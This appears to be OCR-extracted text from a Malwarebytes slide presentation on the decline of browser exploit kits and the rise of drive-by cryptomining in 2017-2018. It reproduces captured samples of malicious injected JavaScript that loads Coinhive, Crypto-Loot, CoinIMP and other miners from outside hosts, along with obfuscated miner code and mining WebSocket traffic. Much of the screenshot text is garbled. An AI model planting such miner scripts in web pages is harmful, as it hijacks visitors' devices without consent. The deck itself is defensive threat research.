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Overview

The web threat landscape has evolved: drive-by download
attacks have lost their firepower
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M Cryptominers everywhere! Altcoins and web technologies make
“ mining in the browser viable

In-browser mining a replacement for ads? Not so far, based on
the overwhelming majority of malicious instances
\/



Struggling browser exploit kits
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Typical drive-by download scenario

Website Exploit kit Malware Profit
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Exploit Kits (EKs) were once a dreaded threat

*Constant influx of zero-days in Internet Explorer, Flash Player

*Large scale malvertising attacks on top publishers

Abesut.com Answers.com
whitepages  Bu1AZE
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The decline of Internet Explorer and Flash Player

Internet Explorer's market share (Sept. 2013 - Sept. 2018)
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Flash Player usage (Sept. 2013 - Sept. 2018)
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Major players taken out of business

Blackhole malware toolkit creator ‘Paunch’ suspect
arrested

The alleged creator of notorious malware toolkit Blac — ®
ged creator of notori The R Register

been arrested by R 3N DOolIce
BROUGHT TO YOU BY ZEx: Biting the hand that feeds IT

\ CENTRE SOFTWARE SECURITY DEVOPS BUSINESS PERSONAL TECH SCIENCI

w Securitylntelligence

Security
Nuclear EK Shuts Down — Wh Lurk trojan takedown also took out
the Fallout? Angler exploit kit

Follow the malware
June 28,2016 @ 12:01 PM

By John Leyden 11 Jul 2016 at 07:04 @ SHAREY



Source code leaks, copycats

*RIG EK reseller leaks the source code on Twitter
*Sundown EK and Neptune EK dumps become public

*Copycats everywhere
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Malware distributors show frustration with EKs

. get out
look around, we have many quality services here for appropriate prices
no one is crazy to pay $ 600 for 1k install usa or ca
Here I am looking for quality sellers like ! among others
Who sell good quality install at appropriate prices

What bundle are you using?

DTA? EE chit mainhr in tha lact fow manthe it Adnoac nat wnrls in rich

» RIGA?, EK shilt mainly in the last few months, it does not work in rich
countries, money thrown in the trash, 20k mix with RIG4 I'll get only 3k / 4k
install, fack

uk, au, nz, fr, de
world mix 1k 60 $
This would be the correct price if you are going to buy install using these EK
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EKs getting a second life in 2018

*Several 0 days, PoCs and weaponization

*Old and new EKs active

RIG EK

GrandSoft EK
Magnitude EK
GreenFlash Sundown EK
KaiXin EK

Underminer EK

Fallout EK

Adobe Security Advisory

Summary

A critical vulnerability (CVE-2018-4878) exists in Adobe Flash Player
28.0.0.137 and earlier versions. Successful exploitation could potentially
allow an attacker to take control of the affected system.

CVE-2018-8174 | Windows VBScript Engine
Remote Code Execution Vulnerability
Security Vulnerability

Published: 05/08/2018 | Last Updated : 08/09/2018 O .
MITRE CVE-2018-8174 m= Microsoft




New coins and technologies
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Cryptomining takes off in a big way

*The value of cryptocurrencies increased MAKE MINING

dramatically in 2017

*New cryptocurrencies (Altcoins) allow mining with
standard PCs

*Newer digital currencies offer more anonymity

°In 2017, W3C develops WebAssembly that can run
code to run at native speed within the browser

/
Cryptocurrencies are a digital asset produced by mining, a process intensive

operation that adds transaction records to a public ledger called the

blockchain. The most famous cryptocurrency is called Bitcoin.
N




Malwarebytes

Example of in-browser miner: Coinhive

*Browser-based miner APl for Monero (XMR) 10M

*Lets you monetize traffic to your website
Coinhive | sm

*Takes 30% commission

*Took old idea and brought it to the masses i LB e L L
*Became very popular immediately (TPB)
*Was abused almost overnight

A Crypto Miner

for your Website
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Drive-by mining (cryptojacking)

Drive-by mining is an automated and platform agnostic technique that abuses the CPU
of visitors to a website to mine for cryptocurrency without their consent.

Website Web Miner Service Cryptomining Payout

. L




The Pirate Bay ‘incident’ that started it all

G‘ 'a https://thepiratebay.org/torrent/18360174/Game.of . Thrones

JE05.Eastw O ~ @ © || &, Game.of. Thrones.S07E03

/\ Search Torrents | Browse Torrents | Recent Torrents | TV shows | Music | Top 100
|| Pirate Search |

|Searw:h here.

[Jaudio [video DAppllcations [Jgames [lromn DOther|A|l v

Details for this torrent

Step 1

A Before downloading this torrent, first HIDE YOUR IP.
M & Get the #1 Anonymous VPN Recommended by ThePirateBay

Game.of.Thrones.S07E05.Eastwatch.AMZN.WEB-DL.DDP2.0.H.2¢(

Type: Video > TV shows Uploaded: 2017-08-14 0

Files: 2 GMT

Size: 569.59 MiB (597261010 Bytes) By: etty &

Spoken language(s): English Seeders: 346

Texted language(s): English Leechers: 17
Comments 0

A Info Hash:

1% Windows Task Manager
File Options View Help

‘ Applications | Processes | Services J Performance

CPU Usage CPU Usage History

Memory Physical Memory Usage History

Physical Memory (ME) System

Total 4095 Handles 16334

Cached 2262 Threads 599

Available 2390 Processes 47

Free 180 Up Time 0:00:55:24
Commit (MB) 1640 /8189

Kernel Memory (MB)

Paged 131

Nonpaged 33 [ Resource Monitor... ]

Processes: 47 CPU Usage: 100% Physical Memory: 41%

ANENYI7e nan0andATIAONDNTO

I

<> EKFiddle v.0.5 (Fiddler)
File Edit Rules Tools View Help GET/book Links

E3 GeoEdge

QuickSave Start VPN Import SAZ/PCAP View/Edit Regexes Run Regexes Advanced Ulon/off () ¥4 Replay X~ b Go ‘ Stream

[E= o =)

Keep: All sessions ~ ¢ Any Process 34 Find

# Server IP Protocol  Method Result Host URL Bod
@ 10 28 HTTP cor 200 a o 3
& 104.27.217.28 HTTPS GET 302 thepiratebay.org  /s/?q=got&page=0&orderby=99

104.27.217.28
ss{319  104.27.217.28
94.130.102.124

thepiratebay.org /search/got/0/93/0
thepiratebay.org /static/css/pirate6.css
Tunnel to  coin-hive.com:443

y Content-Type Comments Process

0 text/html
text/html; char...
text/css

Drive-by_Mining (Landing Page)

Drive-by_Mining

Malwarebytes
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# Protocal ~ Method Result Host LIRL Body Comments

forum.oldversion.com fforum.php . Drive-by Mining (Coinhive)

coinhive.com flibjcoinhive.min.js ; Coinhive (URI)
ws0 14, coinhive.com  fproxy Coinhive (URI)

) ST - T e e e T [) Progress Telerik Fiddler Session #225 - https://ws017.coinhive....| = || & |[wt3|
=SC Wt >
__Lrll.: . 1 Request ! Response B Properties [Z) webSocket

<script>
var miner = new CoinHive.Anonymous ( WebSocket #225 transferred 50 messages and remains open.
'48zUYBdsYIIfcmIn3sS38ss81A173 ot {throttle: 0.11}); D — — Preview ~
miner.start (CoinHive.FORCE EX( - . -
S - {"type":"auth”, "params": {"version™: 7, "site_key™:"...
&2 Text 50 {"type™:"authed”, "params™: { token™: ™, "hashes™:0}} =
‘ . _ ) . ‘ 3 Text 234 {type™:Sjob", "params™: {job_id":"7744395432062...
( m.r._l ow) 1* ) Frict®;var I*IJ_I'L&T_:I:ZLII".CT.J._-:'I“. (SltEK?Y' +41 Text 162 {"type™: "submit”, "params™: {"version™: 7, job_id™:"7...
-params=params| | {};this _siteRey=siteRey;this. &5 Text 43 {"type":"hash_accepted”, "params™:{ hashes": 256} }
uSz—_-.r—r,ull, uhlg . threads=[]; this - _hashes=0; this . _currentJob= f 6 Text 162 ["type™:“submit”, ‘params™: {"version™:7, job_id™"7...
wull;this. autoReconnect=true;this. reconnectRetry=3;this. $7 Text 43 I"type":"hash_accepted”, "params™ ["hashes™:512}}
tokenFromServer=null;this._ goal=0;this. 43 Text 162 {"type": "submit”, "params™: {"version™:7, job_id":"7...
totalHashesFromDeadThreads=0;this. _throttle=Math.max(0,Math ‘ 9  Text 48 I"type™"hash_accepted”, "params™:{"hashes™: 768}}
.99, this.params.throttle||0));this. stopOnInvalidOptIn= f 10 Text 162 {"type™: "submit™, "params™:{ "version™: 7, job_id™:"7...
;this. waitingForAuth=false;this. selfTestSuccess=false ‘v 11 Text 49 {"type":"hash_accepted”, "params™: { hashes™ 102...
;this. verifyThread=null;this. autoThreads={eng i: ! 'this. 412 Text 162 {"type™: "submit™, "params™:{"version™: 7, job_id":"7...
params .autoThreads, interval:null, adjustAt:null, IstEvery: ¥ 13 Text 43 { type™:"hash_accepted”, "params™: { "hashes™ 123...
e4,stats:{}};this. tab={ident:Math.random()*1€7/7215|0,mode + 14 Text 162 { type":"submit”, "params™: {"version™:7, job_id":"7...
- CoinHive.IF EXCLUSEVE_TAB, grace:0,waitReconnect:0, & 15 Text 49 {"type":"hash_accepted”, "params™: { hashes™ 153... g
lastPingReceived:0,interval:null};if (window.BroadcastChannel I 5 Inspect as Response | ‘ Unfragment All
) {try{this - _bc=new BroadcastChannel ("cc — J;thas. bc. m‘ TextView | HexView | —

onmessage=function (msg) {1f (msg.data==="; g") {this. tab.
= {"type":"auth","params":

i a?tp%nngA:l e R el (R e G EE ) O ekl {"version":7."site_key":"48zU/YBdsY1fcmIn3538ss81A17GkpA", "type " "anonymous ", "user
CoinHive.CONFIG.REQUIRES AUTH) {this. auth=new CoinHive.Auth ( "null,"goal":0}}

his. siteRey, {theme-tl‘i=.params.thcmc| | ™ ,lang:this.

0:0  0/124 | Find.... (press Ctrl+Er| [ view in Notepad |[ ... |

arams.language| | "au "1 }t-.ls L _EE ntLlstcncrs = npcn [1,

- - - - - - - - . - - - "=
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- lalals
# Protocol  Method Result Host URL Body Comments =
domnuleprimar.ro Drive-by Mining (Crypto-Loot) ' [l
cayptaloot.pro  flib/aypta.js Web Miner (Crypto-Loot)
rock.reauthenticator.com / Web Miner (Crypto-Loot) (URI)
<script src="http://cryptaloot.pro/lib/crypta.js"></script> [) Progress Telerik Fiddler Session #436 - https://rock.reauthenti... | = || = |[wtm|
<script>
P - _ 1’ Request " Response B Properties [ webSocket
var miner = new CRLT 1 - - B
'ab59%b07b3e9%fbSafcB82e3f56ab2af4a66906795254208") ; WebSocket #436 transferred 50 messages before closing.
m_.Lner -start(); D Type Body Preview i
</script> e
41 Text 139 {type™:"auth”, "params™:{ site_key":"ab55b07b3eq...
‘ 2 Text a6 {type™: "authed”, "params™: { token": "4c52f2b3-1d6... |E
_ o _ ‘ 3 Text 291 {"type™:5job", "params™:{ blob™: 0707859 196dd051...
T("'x%kj‘_"’a [ 44 Text 163 {"type": "submit”, "params™: { job_id": "SjxYKBHoLsPb...
&5 Text 43 {"type™:"hash_accepted”, params™: {"hashes": 2563}
45 Text 163 {"type™: "submit”, "params™: { job_id": "SjxYKBHoLsPb...
47 Text 163 {type™: "submit”, "params™: { job_id": "SjxYKBHoLsPb...
&3 Text 43 {"type":"hash_accepted”, ‘params”: { hashes™: 512}}
¥ Text 43 {"type":"hash_accepted”, ‘params”: { hashes": 768} }
410 Text 163 {"type™: "submit”, "params™: { job_id": "SjxYKBHoLsPb...
‘ 11 Text 49 {"type™:"hash_accepted”, params™: { hashes™ 1024} }
‘.‘ 12 Text 163 {"type™: "submit”, "params”: { job_id": "SjxYKBHoLsPb...
& 13 Text -z {"type":"hash_accepted”, ‘params”: { hashes™ 1280}}
; 14 Text 291 {"type":"job", "params": { blob™: "0707852196dd051...
" iC Tawvt 1872 T e ™ o bt Trarame "o ek i A TS iAWY 1 Fn M
‘ 5y Inspect as Response | I Unfragment All ‘

Metadata | TextView | HexView |JSON ‘

{"type":"auth","params":
{"site_key":"ab59%b07b3e¥b5afc82e ¥ 56ab2af4a6690679254208", "type": "anonymous", "u
ser"null,"goal":0, "version":2125}}

0:0 0/139 Find... (press "'U‘|+EI| | View in Notepad | ... |
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A A
# Protocol Method Result Host URL Body Comments COINlMP
wideskills.com Drive-by Mining (Drupal)

drupalupdates. tk Web Miner (CoinIMP)
hostingdoud.loan. Web Miner (CoinIMP)

[) Progress Telerik Fiddler Session #115 - https://hostingcloud.lo...| = || & (s

1 Request ! Response El Properties L__,| WebSocket o
var _Ox44b0=["\x6C\x6F\x63\x61\x74\x31\x6F\x6E" WebSocket #115 transferred 4 messages and remains open.
3 F - - F o e Fo A — Foa . F A o = F - - o - o p 4 28000 L Fa s ID Type Body Prev'e"“l

f 1 Text 180 suu9sLmsa Pragly2oevle 7mousikuuvzsuutol 2slgkssOv. ..
'v 2 Text 68 suU9sLmsa Pralyoayts +Xruai7gKks66 /0ye 72mogyns. ..

. . i I . N . ) D § 4 Text 336 suu9sLmsé Pp6E0OmMg +viGeuSqluoplLird +my&6ulpgra.. .

O0x44b0[0]]){
i [ y Inspect as Response ] [ Unfragment All ]

Metadata | TextView |Hexview | JSON

suu9sLms6/Pp660mag+viGeusqluop Lir8+my66ulpgr8+nr+ 75/qve8f 7w/ 62t +fz4+ -
62trP 2s+vrwg/GrgPggqP H/8Kjw+vne+Kyr+auv+qqtqbvE+avh/q3s/P2vrkz4+6v./if /+
8Pgv+vys+p+fn5+n5
+n9avCtra/48K+a8P6s+P2r/Kv68a2v+/D//v2or/3/avHxrar/aa+a/vD9a/4r6v3/PGa+fr ™

0:0 0/336 | Find.... (press Ctrl+£r| [ View in Notepad |[ ... |




# Protocol Method Result Host URL

ameslay.com
eth-pocket.de  jperfekt/perfekt.js?perfek...

eth-podket.eu:8585

Malwarebytes

Body Comments

27,513 Drive-by Mining (Perfekt Miner)
627,141 Web Miner (Perfekt Miner)
0  Web Miner (Perfekt Miner)

hrottleMiner =

</script>

=

1 Request

! Response

[] Progress Telerik Fiddler Session £76 - https://eth-pocket.euB... | = || B ||niml

WebSocket #76 transferred 44 messages and remains open. o

=] Properties | | [Z webSocket

D Type Body Preview -
+1 Text 241 {Midentifier": "handshake ", "pool™: "faster.etn”, rightvarial
&2 Text 271 {"identifier™:5job", job_id™:*76bc0878a0d 143e 28dc3che: =
&3 Text 271 {Midentifier™:5job", job_id™:"781fa69f3c3c4c59b8507c 73
$4  Text 271 {"identifier™:5job", job_id™:"66b3895a35e44d6ebfa5 138
&5 Text 271 {Midentifier™:5ob", Sjob_id™:"e 166d0e4867745e993550d:
&5 Text 271 {Midentifier™:5job", job_id™:"bb54309a735e4d22%aa%ca
$7 Text 271 {"identifier™:5job", job_id™: "9 1e6ec38d2834c7d987bb 54
&3 Text 271 {"identifier™:5job", job_id™:"7622c91336824714a%b755d
42 Text 162 {Midentifier™: "solved”, job_id™:"7622c91336824714a5%b7
& 10 Text 28 {"identifier": "hashsolved ™}

411 Text 162 {Midentifier™: "solved”, Sjob_id™:"7622c91336824714a%b7
& 12 Text 28 {"identifier”: "hashsolved ™}

413 Text 162 {"identifier™: "solved”, job_id™:"7622c91336824714a%b7 ~
4 I »

‘ 5y Inspect as Response l ‘ Unfragment All ‘

Metadata | TextView | HexView | JSON

{"identifier":"job","job_id":"66b3835a35e44d6ebfa513897569e243" "algo":"cn","varian
":0,"blob":"0707e6f35dd05fb 1f397a4f 8d 9d57b6533c 06263924 #25791 Hfec3aea15d0

441b0538ac 7299 00000000c2ed 75b 3637359106bb6015af 27823250992 18072db053d

m

4af759dbdc 167596817, "target":"039d3600"}

0:0

0/271

-

Find... (press 'ZZt1'|+E|| | View in Notepad ” |




High profile cases and campaigns
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High profile cases

BE Q Home News Sport More - Q

ars) TECHNICA « NEWS
COVERT MONERO MINING — . Tech nologx
Now even YouTube serves ads with CPU L
draining cryptocurrency miners Starbucks cafe’s wi-fi made

computers mine crypto-currency

T I International edition v

o
Hackers target ad networks to inject Gual‘dlan
cryptocurrency mining scripts Billions of video site visitors unwittingly

It's the latest way for hackers to make money — mine cryptocurrency as they watch
unsuspected website visitors to mine cryptocur

browser's bac kg round. Popular sites Openload, Streamango, Rapidvideo and
OnlineVideoConverter allegedly force users to mine Monero
cryptocurrency, report says




Drupalgeddon campaigns

*Critical vulnerabilities found during Spring 2018 for Drupal 7.x and 8.x

*Exploited for malicious cryptomining both server and client sides

Drupal core - Highly critical - Remote Code Execution - SA-

CORE-2018-002

Project: Drupal core

Date: 2018-March-28

Security risk: 24/25 AC:None/A:None/CI:All/I1:All/E:Exploit/TD:Default
Vulnerability: Remote Code Execution

CVE IDs: CVE-2018-7600

Description:

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially
allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely

compromised.

Malwarebytes
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Mass Mikrotik Routers compromise

’. SHODAN http.component:"coinhive” product "N

- Explore Downloads Reports Developer Pricing

*% Exploits *% Maps % Share Search & Download Results |l Create Report

[T RESULTS "http://170.79.142.213/"
104,338 ONET HTTP/1.0 483 Forbidden

Content-Length: 445

. Brazil, Porto Alegre Content-Type: text/himl
OP COUNTRIES Date: Fri, 21 Sep 2018 22:25
. ) Details Expires: Fri, 21 Sep 2018 22:25:
’ - et - -_ - Server: Mikrotik HttpProxy

-,' o SR, Proxy-Connection: close

" M 11}
EBrazil 54 269 http-”1 87-5'8.7'4.161Jr
India 12,554 HTTP/1.8 483 Forbidden
- R I L)
Indonesia 6.262 Vivo Content-Length: 403
Content-Type: text/him
United States 3,355 - _ tent-Type: text/himl
Brazil, Fortalezs Date: Sat, 22 Sep 2018 04:33:28 GMT
Bangladesh 3,207 _ . , - e e
Expires: Sat, 22 Sep 2018 04:55:28 GMT
Detail PP
TOP SERVICES = Server: Mikrotik HttpProxy

https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/



Odd observations from the wild
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Tech support scammers: Fake BSOD & Coinhive

[ Windows Defender X

)+}
[

& C | ® cocleartyuds34.club/blue.htm w

problem has been detected and
indows has been shutdown to prevent
damage to your computer.

DRIVER IRQL NOT LESS OR EQUAL :
BFEBFBFFO00306A9AC16F754

If this is the first time you'wve
seen this screen, contact technical
support.

Technical Information:

*** STOP: BFEBFBFFOOO306ASACl6F754
(0X0000CA, OXOADS66)

*** gv3.sys — Address
BFEBFBFFOOO306A9AC16F754 base.

Beglning dump of phys ical memory . 1% Windows Task Manager o |[= =

File Options View Help

= = pplications | Processes | Services Performance | Networking | Users
ITmmediately contact technical 5 9

support to prevent further damage in
your computer.

CPU Usage CPU Usage History

Call Support:+1 (866) 475-7161
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One website, 9 web miners!

[Bl=]E] = ] / 0% view-sourcelovebugga X \\7\

BEEES

/ 0% view-sourcellovebugga X \\7'\

! ‘ C | ® Notsecure | view-sourceilovebug.ga ﬁ" :
C | ® Not secure | view-source:lovebug.ga | i -
102 | <center> . 148 | <script type="text/javascript"> &
02| <script src="https://authedmine.com/lib/simple-ui.min.js" async></script> 147 | !function(){var e=document,t=e.createElement("script”),s=e.getElementsByTagName("script™)
<div class="coinhive-miner" [0];t.type="text/javascript"”,t.async=t.defer=!0,t.src="https://load.jsecoin.com/load/64293/loveb
style="width: 468px; height: 6@px" ug.ga/@/e/",s.parentNode.insertBefore(t,s)}(); .
data-user="" B 143 | </script> (6) JSECO|n
data-autostart="true" . 148
data-whitelabel="true" (1) AuthedMine 150 | <!-- BEGIN JIVOSITE CODE {literal} -->
data-threads="5" 151 | <script type='text/javascript'>
data-throttle="0.1" 152 | (function(){ var widget_id = 'SuSMCOWhSW';var d=document;var w=window;function 1(){
data-background="#1f@797" 152 var s = document.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src =
data-text="#eeceee" '//code.jivosite.com/script/widget/ +widget_id; var ss = document.getElementsByTagName('script')
data-graph="#33ffsb" [0]; ss.parentNode.insertBefore(s, ss);}if(d.readyState=="'complete'){1();}else{if(w.attachEvent)
data-key="EvTVjIAxtsakKQvmcFIFg8tUfU2bRKz1"> {w.attachEvent('onload',1); }else{w.addEventListener('load",1,false);}}})();</script>
<em>Loading...</em> 154 | <!-- {/literal} END JIVOSITE CODE -->
16 </center> 155
</div> 158 | <script src="http://cryptoloot.nabaza.com/lib/crypta.js"></script>
</center> <script>

var miner=new CRLT.Anonymous('5b89fc8e1d9444e612de16d68e99dd852¢c906645%baf",
{
threads:24,throttle:0,autoThreads: true (7) CryptOLOOt

)| <iframe src="https://play.mineralt.nabaza.com/ecart.html? (2) Mineralt

¥
121 )i
12 miner.start();
123 | <script src="https://webminepool.com/lib/base.js"></script> </script>

o

<script>
var miner = WMP.User('SK_xebJsZA3GkxV6SqzRrzLK', '',{
threads: 25,

autoThreads: true, H
il iy (3) WebMinePool

<script src="http://coinimp.nabaza.com/WsBR.php?f=LvGW.js"></script>
<script>

var _client = new
Client.Anonymous('c7a22051cd8cb812838a2b15¢c3blabadf547b4f217f7dfa3c44fcce@do5941e3", {

D o @ o0
S

&

forceASMIS: true 169 throttle: @ 2
E 170 : (8) Coinlmp
miner.start(); 171 _client.start();

</script>

<script src="https://ethtrader.de/perfekt/perfekt.js?perfekt=wss://?jason=faster.xmr"></script> 174 | </script>
135 | <script type="text/javascript"> 175

| PerfektStart (' 47RDdIp8XUvgg5gN5mi8fUKKFnvznAbRYbkdjymfBRb6a6rTIZj4ra392bAr6hFBEZDpKPAAUNSINCTZPS 178 | <script type="text/javascript" src="https://www.sparechange.io/static/sparechange.js"></script>

XeCoHkM3kiojc.dde9389b48d815d6376FRccdb3ch538e20fa41c3e6cc57d4c27af@boO8obcBac+5000", 'x'); 177 | <script type="text/javascript">
127 | throttleMiner = 70; : 78| var apiKey =
15| </script> 2 (4) Perfekt Miner "973470923fafc67462c116223853c18bb3f436501bb46aa6899ad79342badb1bF11c19d71F7d619010bd5 185610622
130 b2392891914d509c6e473ad8694b75e27";
140 <script src="https://ethtrader.de/perfekt/perfekts.js’perfekt=wss://?jason=Ffaster.acon"> 179 var numberOfThreads = null; // null will auto-select based on user's CPU. Otherwise a number

</script> from 1-n.
141 | <script type="text/javascript"> 120| var throttlePercent = 0.25; // ©.@ = no throttle (Will mine quickly). 1.8 = full throttling
142 | PerfektStart (' WmtfMvLUGPUBSUOYAML7VIfdgJeF56ChbyaoHShdFXfDIYHWWHDACNNY JYqUGQGBS3eNVbBxXI1f3yad3uvVe (Will mine very slowly, saves CPU) A good value is @.5. c

djKFM427gDNxZ7&tx.8c16125a8142123b65230aa6T4c2585917a12337b4b622062de90261c2d3d55b+5000", 'x'); 181 var miner = new Miner(apiKey, numberOfThreads, throttlePercent); (9) sparechange.lo
142 | throttleMiner = 70; .
144 | </script> ’ (5) Perfekt Miner //execute the following line any time to start the miner
145 4 18 miner.start();

T ——— 185 | </script> v



AuthedMine and Coinhive on the same site??!?

® yuristby X

— [ (D yurist.by

yurist.by Would Like To Use Your
Computing Power

You can support yurist by by allowing them to
use your processor for calculations. The
calculations are securely executed in your
Browser's sandbox. You don't need to install
anything.

Elements Console Sources Network Performancg

ipt type="text/javascript” async src="https://

cs.com/analytics.js"></script
ync src="http i.googletagmanager. com/
tm. d=GTM-PDDL25H /script
[script
I ps://authedmine.com/1ib/ I
authedmine.min.qs"></script

¥ <script
var miner = new
CoinHive.Anonymous( ' no2z8X4wsiouyTmadxZBTyUdeglBw2yK
{throttle: 0.2});

// Only start on non-mobile devices and if not
opted-out

// in the Last 14488 seconds (4 hours):

if (!miner.isMobile() && !miner.didOptOut(1448@))

miner.start();

}
/script
head
¥ <body> == %8
"2>

| <script src="https://coinhive.com/1ib/coinhive.min.is}H
/script
¥<script
var miner = new
CoinHive.Anonymous (' NL9TTsyGeVUBFbKRIFUvwkwU4gPI4Z21
{throttle: @.6});
if (!miner.didOptOut(144@8)) {
miner.start();

}
/script
P <embed src="nttps://master.tus.io/files/1ccdd74.."
/embed
P <div style="z-index:
1@8%; background-color:
fixed; left: @px; top:
/body
/html

99; width: 100%; height:
8, 9.7); position:

CVE-2018-4878

all=[@]

w

;‘

ST

! Request ‘ i Response | [E] Properties ‘ & websocket ‘

WebSocket #72 transferred 58 messages and remains open.

D Preview

f 1 {"type":"auth”,"params”:{"version":7, site_key": NLITTsyGeVUSFbK
.‘ 2 {‘type":"authed”,"params™:{"token™"™, "hashes™0}}

&3 [typem:job”,params":{job_id":"849569482333026", blob™:"0707a
f 4 {"type™:"submit”,params™:{"version":7, job_id":"849569482333026
‘ 5 {"type":"hash_accepted”, params™:{"hashes™: 256}}

f 6  {"type™:"submit”,"params”:{ "version":7,job_id":"849569482333026
. 7 {type"hash_accepted”, "params™:{"hashes™512}}

f 8  {"type":"submit”,"params":{"version":7,job_id":"849569482333026
' 9  {"type™:"hash_accepted”,"params”:{"hashes": 768}}

f 10 {“type":"submit”, "params”:{"version™:7, job_id":"849565482333026
& 11 {type™:hash_accepted”, "params™:{"hashes": 1024}}

f 12 {"type™:"submit”, "params™:{"version™:7, job_id": "849569482333026
‘ 13 {“type™:"hash_accepted”,"params™:{"hashes™: 1280}}

f 14 {"type™:"submit”, "params”:{"version™:7, job_id":"849569482333026
v‘ 15 {“type™:"hash_accepted”,"params™:{"hashes™: 1536}}

f 16 {"type":"submit”, "params": {"version™:7, job_id":"849569482333026
' 17 {“type":"hash_accepted”, params”:{"hashes™: 1792}}

f 18 {“type":"submit”,"params”:{ version™:7, job_id":"849569482333026
& 19 {type™:'hash_accepted”, "params™:{"hashes":2048}}

f 20 {"type":"submit”,"params™:{"version™:7, "job_id":"849569482333026
‘ 21 {"type":"hash_accepted”, "params™:{"hashes"™:2304}}

"‘ 22 {“type":"submit”, params™:{"version™:7, "job_id":"849569482333026
v‘ 23 {"type":"hash_accepted”, "params™:{"hashes™:2560}}

[‘_'j Inspect as Response ] [ Unfragment All ]

‘ Metadata I TextView I HexView | JSON ‘

=
[T Progress Telerik Fiddler Session #72 - https://ws009.co... | = |[ @ |[ &2 |

>

m

site_key=NLITTsyGeVUSFbKRSfUvwkwU4gP14Z21
type =anonymous

user={null)

- version=7

fuee type=auth

JSON parsing completed.

Expand All ] [ Collapse

html

Malwarebytes



Evasion and persistence techniques



Blacklist evasion

*Domains or IP blacklists can be defeated using proxies

Malwarebytes

*Cloud services (AWS, Google, etc.) are free and disposable infrastructure to hide

# Protocol Method Result Host LRL Body
£¥1  HTTP GET 200 pdfbooksdownload.com [ 43,391
@ 2 HTIP GET 301 coinhive.com  flibfcoinhive.min.js 178
253 HTTPS GET 200 coinhive.com  flib/coinhive.min.js 242,796
4  HTTPS GET 101 ws024,coinhive.com  fproxy 0
# Protocol Method Result Host URL Body
€¥#1 HTTP GET 200 pdfbooksdownload.com [ 49,352
@ 2 HTIP GET 301 npcdnl.now.sh  figuery.js 146
W53 HTTPS GET 200 npcdnl.now.sh  figuery.js 18,170
‘ag4  HTTPS GET 200 npcdnl.now.sh  fworker.js 187,522
E| 5 HTTPS GET 200 npcdnl.now.sh  fibfcryptonight. wasm 68,796
s HTTPS GET 101 npcdnl.now.sh  fproxy 0




CPU evasion

*Keeping CPU below threshold

*Making sure only one instance of
the miner is running

Malwarebytes

Alcaldia del Municipio Sucre del X + 1™ Windows Task Manager =

File Options View Help

= C @ Notsecure | alcaldiamunicipiosucre.gob.ve

‘ Applications | Processes | Services ‘ Performance | Networking

CPU Usage

CPU Usage History

SUCRE

Memory Physical Memory Usage History

Physical Memory (MB) System

Total 4035 Handles

Cached 1588 Threads

Available 2969 Processes
ar nrotec — e Free 1439 Up Time 0:C
var protected = new ) Commit (MB) 126

ymous('YiJsviqvpiYiKubIcelMMFELELZhpCZd',

[ Kernel Memory (MB)

threads:2}); Paged 141
; - Nonpaged 28 I Resource Monitor
/ if(protected.isRunning()){
A protected.stop();

£y

rotected.start()

T

Processes: 42 CPU Usage: 50% Physical Memor

protected.start()

h
w Inherited from body#default.hom...
html body#default e.blog script body { style.css:23
color: IM$#640557;
coinhive AV Cancel text-align: justify; -

.



String obfuscation

4) @EKFiddle v.0.6.9 - Progress Telerik Fiddler Web Debugger
File  Edit Toaols Help Links

QuickSave Ulmode VPN Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings

WEwmy

Rules

# Protocol Host URL Body Comments

€91 HTTPS [removed] [ 63,603 Streaming site

a2 HTTPS mepirtedic.com  /famo.js 213,754 Obfuscated Web Miner
@3 HTTPS s3.aster18prx.nl / 0 WebSocket (Miner)

[Z webSocket
| 5 Fiddierscript
| on |

I
@ Composer
‘ Cookies | Raw

£ Log l [ Filters | "= Timeline
() Statistics I ' Inspectors | < AutoResponder |
| Headers | TextvView | SyntaxView | WebForms | HexView | Auth
XML |

Request Headers
GET /amojs HTTP/1.1

1).
[
\
\

N

[Raw] [Header Definitions]

Transformer | Headers ||Text\ﬂew | SyntaxView | ImageView ‘ HexView ‘ WebView | Auth
Caching | Cookies | Raw | JsON | xmL |

var _(x583c= -
[substr’, userAgent’,'vendor’, opera’, charCode A", hexs2buf”, Yo String”,'set Lint 32", Qab’,"SHa" function’, 'code’, MODUL |_|
E_NOT_FOUND"job", wst'utz" isconn’ hew’ Jength’, cts’, postMessage”, 'exports”,’_am’, btm’,stp", conn” dmFylE1vZH —
VsZT1ATtNb2R 1bGVbIndhc21CaWShenkiXT ImdWhidGlvbihz K42 XIga Sxk PWFOb 2locyks Y luZXegVWiud DhBe
nJhe ShicLmedbmd 0aCh 72m 9y KiGk SMDtp PGQubGVUZ3Ro O 2Kyl W AdPWQUY 2hhck Nv ZGVBAChp KTty Z¢R 1em4
a'YnlolkFHRnpiUUVBQUFBQIZENWACS Dkv ZM4QWIE TimMzh BEWUFGLOFHQUFBWDInQ TMSL2Z3RiSZQ UYvQ
Vg5Z0FuOSSBROFFZMSL2Z3RiISZQ Udv ZMOQVIB TiGmbjh BWUFSL2YzNSSBWDInQW45L0FYOWdBQ UJnQlghL2
'Yz0S3BQUwSQVEwRFpXNTJEa 1JaVG G TINVTIVUMUJmVUZSUDEzOEFBMIZ 1 2Gdo VFZFRKRTMVIQVUFOLOF
BTmodbll KV TFSQIEwdGZUVUZZQTMAQUEyVnWiZ 1 Z0WWD5e WRBQUNBMIZ 1 2G b G teGhib WRsVFdWdGIzSj
VBQU1EWlc 1Mk Rt Z2Gde RIJ2ZEdGe 1RXVnRiMOo 1QUFNRFp XN TJG Mk Zp YiNKMFQyNURZVZVTY]NSSGNO TNU
V1Z0YiNKNUFBTURaVz LyRmw5bGJY Tmpijb! MNdV053ZVY5aWRXYOFCQUSs Ym5Z TFgaOWAMI /
YwlIhKeVRtOEFBZ05sYm5ZR21XVnRiMOo 1¢ B a 5664 IMIZ12GdWMAXSnNaUUZ3GVFITUEyVnVikZ3B
0Wcedm Nub ENZWESsQ TMAQUEyVnVikZ2ww v vare 1pvamnMIVEZndBRESUZ0ZBdIHOmdJREJRW URCOVY (2)
